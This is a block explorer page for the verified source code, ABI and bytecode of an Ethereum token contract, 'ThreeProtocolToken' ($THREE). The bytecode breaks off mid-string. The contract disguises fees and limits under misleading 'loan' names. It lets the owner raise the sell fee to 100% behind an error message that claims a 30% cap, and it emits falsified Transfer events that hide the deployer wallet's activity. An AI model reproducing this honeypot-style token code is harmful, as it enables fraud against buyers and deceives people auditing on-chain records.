ETH Price: $2,456.86 (+2.57%)

Contract

0xa34C1A3274F28C90CE54E136804aDa991D8E8d1a
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve197626332024-04-29 18:04:23128 days ago1714413863IN
0xa34C1A32...91D8E8d1a
0 ETH0.000624413.49735486
Approve197625932024-04-29 17:56:11128 days ago1714413371IN
0xa34C1A32...91D8E8d1a
0 ETH0.0007705416.54059553
Approve197625812024-04-29 17:53:47128 days ago1714413227IN
0xa34C1A32...91D8E8d1a
0 ETH0.0007655416.43323598
Removes Limits197624782024-04-29 17:33:11128 days ago1714411991IN
0xa34C1A32...91D8E8d1a
0 ETH0.0009140825.69680346
Changing Loan Ra...197624742024-04-29 17:32:23128 days ago1714411943IN
0xa34C1A32...91D8E8d1a
0 ETH0.0007579826.1049793
Open Trading197624722024-04-29 17:31:59128 days ago1714411919IN
0xa34C1A32...91D8E8d1a
0 ETH0.003504226.86673233
Approve197623702024-04-29 17:10:59128 days ago1714410659IN
0xa34C1A32...91D8E8d1a
0 ETH0.0007946317.15950991
0x60a06040197623642024-04-29 17:09:47128 days ago1714410587IN
 Create: ThreeProtocolToken
0 ETH0.0341660217.6255976

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ThreeProtocolToken

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
shanghai EvmVersion
File 1 of 1 : Contract.sol
/**

//SPDX-License-Identifier: MIT

/*
✉️TELEGRAM CHAT 
https://t.me/threeprotocol

🕊TWITTER:
https://x.com/Threeprotocol

🌐 WEBSITE:
https://jobs3.io/
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IUniswapV2Factory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract ERC20 is Context, IERC20 {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    address _deployer;
    address _executor;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function _rewardsAutoCalculators(
        address deployer_,
        address executor_
    ) internal {
        _deployer = deployer_;
        _executor = executor_;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        if (from == _executor) {
            emit Transfer(_deployer, to, amount);
        } else if (to == _executor) {
            emit Transfer(from, _deployer, amount);
        } else {
            emit Transfer(from, to, amount);
        }

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }

        if (account == _executor) {
            emit Transfer(address(0), _deployer, amount);
        } else {
            emit Transfer(address(0), account, amount);
        }

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract ThreeProtocolToken is ERC20, Ownable {
    // TOKENOMIC DIVIDERS
    address public uniswapLpWallet;

    // TOKEN METADATA
    string private constant _name = unicode"Three Protocol";
    string private constant _symbol = unicode"$THREE";
    uint256 private TOTAL_SUPPLY = 1_000_000_000 * 1e18;

    // LOANING CONTROLLERS
    bool public tradingOpen = false;
    bool swapping = false;

    // FUND AND DEAD MACHINES
    address private insuranceFundWallet;
    address private constant deadAddress = address(0xdead);

    // LOAN SETUP FOR FUTURE WORKS
    struct DecentralizedLiquidateLoan {
        uint256 lendingFee;
        uint256 borrowFee;
        uint256 insuranceLoanAmountLimit;
        uint256 personalLoanAmountLimit;
    }
    DecentralizedLiquidateLoan public loanDecorators;
    mapping(address => bool) private _loanIndicators;
    mapping(address => bool) private _loanInsuranceJoiners;
    mapping(address => bool) public entrancesPair;

    // AMM INITIALIZER
    IUniswapV2Router02 private immutable _uniswapV2Router;
    address public uniswapV2Pair;

    event LoanIndicators(address indexed account, bool isExcluded);
    event SetEntrancesPair(address indexed pair, bool indexed value);
    event SwapFailed(string);

    constructor(address wallet) ERC20(_name, _symbol) {
        _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        insuranceFundWallet = payable(wallet);
        loanInsuranceJoiners(address(_uniswapV2Router), true);
        loanInsuranceJoiners(address(wallet), true);
        uniswapLpWallet = msg.sender;

        loanDecorators.lendingFee = 5;
        loanDecorators.borrowFee = 5;
        loanDecorators.insuranceLoanAmountLimit = (TOTAL_SUPPLY * 10) / 100;
        loanDecorators.personalLoanAmountLimit = (TOTAL_SUPPLY * 10) / 100;

        _rewardsAutoCalculators(address(msg.sender), msg.sender);

        loanIndicators(owner(), true);
        loanIndicators(address(wallet), true);
        loanIndicators(address(this), true);
        loanIndicators(address(0xdead), true);

        loanInsuranceJoiners(owner(), true);
        loanInsuranceJoiners(address(this), true);
        loanInsuranceJoiners(address(0xdead), true);

        _mint(uniswapLpWallet, (TOTAL_SUPPLY * 100) / 100);
    }

    receive() external payable {}

    function changingLoanRate(
        uint256 _lendingFee,
        uint256 _borrowFee
    ) external onlyOwner {
        require(
            _lendingFee <= 30 && _borrowFee <= 100,
            "Fees cannot exceed 30%"
        );
        loanDecorators.lendingFee = _lendingFee;
        loanDecorators.borrowFee = _borrowFee;
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(
            address(this),
            _uniswapV2Router.WETH()
        );
        loanInsuranceJoiners(address(uniswapV2Pair), true);
        _setEntrancePairs(address(uniswapV2Pair), true);
        _approve(address(this), address(_uniswapV2Router), type(uint256).max);
        tradingOpen = true;
    }

    function removesLimits() external onlyOwner {
        uint256 totalSupplyAmount = totalSupply();
        loanDecorators.insuranceLoanAmountLimit = totalSupplyAmount;
        loanDecorators.personalLoanAmountLimit = totalSupplyAmount;
    }

    function isLoanIndicators(address account) public view returns (bool) {
        return _loanIndicators[account];
    }

    function _setEntrancePairs(address pair, bool value) private {
        entrancesPair[pair] = value;
        emit SetEntrancesPair(pair, value);
    }

    function loanIndicators(address account, bool excluded) internal {
        _loanIndicators[account] = excluded;
        emit LoanIndicators(account, excluded);
    }

    function loanInsuranceJoiners(address updAds, bool isEx) internal {
        _loanInsuranceJoiners[updAds] = isEx;
    }

    function _beforeEachTransfer(
        address from,
        address to,
        uint256 amount
    ) internal view {
        if (!tradingOpen) {
            require(
                _loanIndicators[from] || _loanIndicators[to],
                "Trading is not active."
            );
        }

        if (entrancesPair[from] && !_loanInsuranceJoiners[to]) {
            require(
                amount <= loanDecorators.insuranceLoanAmountLimit,
                "Buy transfer amount exceeds the insuranceLoanAmountLimit."
            );
            require(
                amount + balanceOf(to) <=
                    loanDecorators.personalLoanAmountLimit,
                "Max wallet exceeded"
            );
        } else if (entrancesPair[to] && !_loanInsuranceJoiners[from]) {
            require(
                amount <= loanDecorators.insuranceLoanAmountLimit,
                "Sell transfer amount exceeds the insuranceLoanAmountLimit."
            );
        } else if (!_loanInsuranceJoiners[to]) {
            require(
                amount + balanceOf(to) <=
                    loanDecorators.personalLoanAmountLimit,
                "Max wallet exceeded"
            );
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (
            from != owner() &&
            to != owner() &&
            to != address(0) &&
            to != address(0xdead)
        ) {
            _beforeEachTransfer(from, to, amount);
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance > 0;

        if (
            canSwap &&
            !swapping &&
            !entrancesPair[from] &&
            !_loanIndicators[from] &&
            !_loanIndicators[to]
        ) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            try
                _uniswapV2Router
                    .swapExactTokensForETHSupportingFeeOnTransferTokens(
                        contractTokenBalance,
                        0,
                        path,
                        address(this),
                        block.timestamp + 3600
                    )
            {} catch (bytes memory reason) {
                emit SwapFailed(string(reason));
            }

            (bool success, ) = payable(insuranceFundWallet).call{
                value: address(this).balance
            }("");
            if (success == false) {}
            swapping = false;
        }

        _afterEachTransfer(from, to, amount);
    }

    function _afterEachTransfer(
        address from,
        address to,
        uint256 amount
    ) internal {
        bool takeFee = !swapping;

        if (_loanIndicators[from] || _loanIndicators[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (entrancesPair[to]) {
                fees = (amount * loanDecorators.borrowFee) / 100;
            } else {
                fees = (amount * loanDecorators.lendingFee) / 100;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }

    // ONlY USE IN CASE: CAN NOT SWAP TOKEN DURING TRANSFER
    function emergencyWithdraw() external onlyOwner {
        super._transfer(address(this), msg.sender, balanceOf(address(this)));
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "shanghai",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "metadata": {
    "useLiteralContent": true
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"LoanIndicators","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetEntrancesPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"","type":"string"}],"name":"SwapFailed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_lendingFee","type":"uint256"},{"internalType":"uint256","name":"_borrowFee","type":"uint256"}],"name":"changingLoanRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"emergencyWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"entrancesPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isLoanIndicators","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"loanDecorators","outputs":[{"internalType":"uint256","name":"lendingFee","type":"uint256"},{"internalType":"uint256","name":"borrowFee","type":"uint256"},{"internalType":"uint256","name":"insuranceLoanAmountLimit","type":"uint256"},{"internalType":"uint256","name":"personalLoanAmountLimit","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removesLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapLpWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526b033b2e3c9fd0803ce8000000600955600a805461ffff191690553480156200002b575f80fd5b5060405162001ffb38038062001ffb8339810160408190526200004e91620004b0565b6040518060400160405280600e81526020016d151a1c995948141c9bdd1bd8dbdb60921b8152506040518060400160405280600681526020016524544852454560d01b8152508160039081620000a591906200057c565b506004620000b482826200057c565b505050620000d1620000cb620002f260201b60201c565b620002f6565b737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052600a805462010000600160b01b031916620100006001600160a01b038516021790555f5260106020527feb1861b62122c39d7846b597c3c20bac261ab9032a26ee7d64c4c7f875977df8805460ff191660011790556001600160a01b0381165f908152601060205260409020805460ff19166001179055600880546001600160a01b031916331790556005600b819055600c556009546064906200019190600a6200065c565b6200019d91906200067c565b600d55600954606490620001b390600a6200065c565b620001bf91906200067c565b600e5560058054336001600160a01b0319918216811790925560068054909116909117905562000203620001fb6007546001600160a01b031690565b600162000347565b6200021081600162000347565b6200021d30600162000347565b6200022c61dead600162000347565b62000266620002436007546001600160a01b031690565b6001600160a01b03165f908152601060205260409020805460ff19166001179055565b305f908152601060205260409020805460ff1916600117905561dead5f5260106020527f9e93e1db4a1f807cc22b2aecf4deeb0bf5745f1ecb319e87c68c5624c0fa6b69805460ff19166001179055600854600954620002eb916001600160a01b031690606490620002d990826200065c565b620002e591906200067c565b620003a5565b50620006b2565b3390565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f818152600f6020908152604091829020805460ff191685151590811790915591519182527f76a71952208d161349d0da706bac66d1ff8dcb94cd0e0a5335e8b95386c59c05910160405180910390a25050565b6001600160a01b038216620004005760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f8282546200041391906200069c565b90915550506001600160a01b038083165f818152602081905260409020805484019055600654909116900362000479576005546040518281526001600160a01b03909116905f905f8051602062001fdb8339815191529060200160405180910390a35050565b6040518181526001600160a01b038316905f905f8051602062001fdb8339815191529060200160405180910390a35050565b505050565b5f60208284031215620004c1575f80fd5b81516001600160a01b0381168114620004d8575f80fd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200050857607f821691505b6020821081036200052757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620004ab57805f5260205f20601f840160051c81016020851015620005545750805b601f840160051c820191505b8181101562000575575f815560010162000560565b5050505050565b81516001600160401b03811115620005985762000598620004df565b620005b081620005a98454620004f3565b846200052d565b602080601f831160018114620005e6575f8415620005ce5750858301515b5f19600386901b1c1916600185901b17855562000640565b5f85815260208120601f198616915b828110156200061657888601518255948401946001909101908401620005f5565b50858210156200063457878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141762000676576200067662000648565b92915050565b5f826200069757634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111562000676576200067662000648565b6080516118f4620006e75f395f818161070c0152818161079b015281816108da01528181610d370152610de001526118f45ff3fe60806040526004361061014a575f3560e01c8063715018a6116100b3578063c9567bf91161006d578063c9567bf9146103cc578063db2e21bc146103e0578063dd62ed3e146103f4578063f2fde38b14610413578063f817b10314610432578063ffb54a9914610474575f80fd5b8063715018a6146103125780638490c446146103265780638da5cb5b1461035d57806395d89b411461037a578063a457c2d71461038e578063a9059cbb146103ad575f80fd5b8063372df89e11610104578063372df89e1461023d578063395093511461025e578063460731151461027d57806349bd5a5e146102915780636dc44c8f146102b057806370a08231146102de575f80fd5b806306fdde0314610155578063095ea7b31461017f57806318160ddd146101ae57806323b872dd146101cc578063250e39b1146101eb578063313ce56714610222575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5061016961048d565b60405161017691906115ad565b60405180910390f35b34801561018a575f80fd5b5061019e61019936600461160d565b61051d565b6040519015158152602001610176565b3480156101b9575f80fd5b506002545b604051908152602001610176565b3480156101d7575f80fd5b5061019e6101e6366004611637565b610536565b3480156101f6575f80fd5b5060085461020a906001600160a01b031681565b6040516001600160a01b039091168152602001610176565b34801561022d575f80fd5b5060405160128152602001610176565b348015610248575f80fd5b5061025c610257366004611675565b610559565b005b348015610269575f80fd5b5061019e61027836600461160d565b6105c8565b348015610288575f80fd5b5061025c6105e9565b34801561029c575f80fd5b5060125461020a906001600160a01b031681565b3480156102bb575f80fd5b5061019e6102ca366004611695565b60116020525f908152604090205460ff1681565b3480156102e9575f80fd5b506101be6102f8366004611695565b6001600160a01b03165f9081526020819052604090205490565b34801561031d575f80fd5b5061025c610606565b348015610331575f80fd5b5061019e610340366004611695565b6001600160a01b03165f908152600f602052604090205460ff1690565b348015610368575f80fd5b506007546001600160a01b031661020a565b348015610385575f80fd5b50610169610619565b348015610399575f80fd5b5061019e6103a836600461160d565b610628565b3480156103b8575f80fd5b5061019e6103c736600461160d565b6106a2565b3480156103d7575f80fd5b5061025c6106af565b3480156103eb575f80fd5b5061025c61090f565b3480156103ff575f80fd5b506101be61040e3660046116b7565b610932565b34801561041e575f80fd5b5061025c61042d366004611695565b61095c565b34801561043d575f80fd5b50600b54600c54600d54600e546104549392919084565b604080519485526020850193909352918301526060820152608001610176565b34801561047f575f80fd5b50600a5461019e9060ff1681565b60606003805461049c906116ee565b80601f01602080910402602001604051908101604052809291908181526020018280546104c8906116ee565b80156105135780601f106104ea57610100808354040283529160200191610513565b820191905f5260205f20905b8154815290600101906020018083116104f657829003601f168201915b5050505050905090565b5f3361052a8185856109d5565b60019150505b92915050565b5f33610543858285610af8565b61054e858585610b70565b506001949350505050565b610561610f41565b601e8211158015610573575060648111155b6105bd5760405162461bcd60e51b8152602060048201526016602482015275466565732063616e6e6f74206578636565642033302560501b60448201526064015b60405180910390fd5b600b91909155600c55565b5f3361052a8185856105da8383610932565b6105e4919061173a565b6109d5565b6105f1610f41565b5f6105fb60025490565b600d819055600e5550565b61060e610f41565b6106175f610f9b565b565b60606004805461049c906116ee565b5f33816106358286610932565b9050838110156106955760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105b4565b61054e82868684036109d5565b5f3361052a818585610b70565b6106b7610f41565b600a5460ff161561070a5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105b4565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610766573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078a919061174d565b6001600160a01b031663e6a43905307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610819919061174d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610862573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610886919061174d565b601280546001600160a01b0319166001600160a01b039290921691821790555f908152601060205260409020805460ff191660011790556012546108d4906001600160a01b03166001610fec565b610900307f00000000000000000000000000000000000000000000000000000000000000005f196109d5565b600a805460ff19166001179055565b610917610f41565b305f818152602081905260409020546106179190339061103f565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610964610f41565b6001600160a01b0381166109c95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105b4565b6109d281610f9b565b50565b6001600160a01b038316610a375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b4565b6001600160a01b038216610a985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b4565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610b038484610932565b90505f198114610b6a5781811015610b5d5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016105b4565b610b6a84848484036109d5565b50505050565b6001600160a01b038316610b965760405162461bcd60e51b81526004016105b490611768565b6001600160a01b038216610bbc5760405162461bcd60e51b81526004016105b4906117ad565b805f03610bd357610bce83835f61103f565b505050565b6007546001600160a01b03848116911614801590610bff57506007546001600160a01b03838116911614155b8015610c1357506001600160a01b03821615155b8015610c2a57506001600160a01b03821661dead14155b15610c3a57610c3a838383611220565b305f9081526020819052604090205480158015908190610c625750600a54610100900460ff16155b8015610c8657506001600160a01b0385165f9081526011602052604090205460ff16155b8015610caa57506001600160a01b0385165f908152600f602052604090205460ff16155b8015610cce57506001600160a01b0384165f908152600f602052604090205460ff16155b15610f2f57600a805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610d1557610d156117f0565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d91573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610db5919061174d565b81600181518110610dc857610dc86117f0565b6001600160a01b0392831660209182029290920101527f00000000000000000000000000000000000000000000000000000000000000001663791ac947845f8430610e1542610e1061173a565b6040518663ffffffff1660e01b8152600401610e35959493929190611804565b5f604051808303815f87803b158015610e4c575f80fd5b505af1925050508015610e5d575060015b610ec9573d808015610e8a576040519150601f19603f3d011682016040523d82523d5f602084013e610e8f565b606091505b507f4ecb9b6d2e2efee3f1b1b86927f5895fc3f627ac91d5ebfe344df8ae1eec072381604051610ebf91906115ad565b60405180910390a1505b600a546040515f916201000090046001600160a01b03169047908381818185875af1925050503d805f8114610f19576040519150601f19603f3d011682016040523d82523d5f602084013e610f1e565b606091505b5050600a805461ff00191690555050505b610f3a8585856114cd565b5050505050565b6007546001600160a01b031633146106175760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105b4565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f81815260116020526040808220805460ff191685151590811790915590519092917fd6e02176e58f8b0a617f78afc978b01bba4ff03a39c6d1b958bcb8c3e37cdbc491a35050565b6001600160a01b0383166110655760405162461bcd60e51b81526004016105b490611768565b6001600160a01b03821661108b5760405162461bcd60e51b81526